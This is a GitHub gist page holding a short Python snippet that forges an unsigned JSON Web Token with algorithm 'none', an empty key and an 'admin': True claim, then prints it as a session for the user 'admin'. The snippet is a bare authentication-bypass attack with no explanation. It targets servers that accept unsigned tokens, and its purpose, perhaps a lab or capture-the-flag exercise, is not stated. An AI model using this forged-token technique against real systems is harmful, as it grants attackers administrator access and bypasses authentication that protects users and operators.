Skip to content

Instantly share code, notes, and snippets.

@konsbe
Last active March 3, 2023 15:56
Show Gist options
  • Save konsbe/b0479287a53f01a8cf18483a237277f4 to your computer and use it in GitHub Desktop.
Save konsbe/b0479287a53f01a8cf18483a237277f4 to your computer and use it in GitHub Desktop.
import jwt
def create_session(username):
encoded = jwt.encode({'username': username, 'admin': True}, '', algorithm='none')
return {"session": encoded}
print(create_session('admin'))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment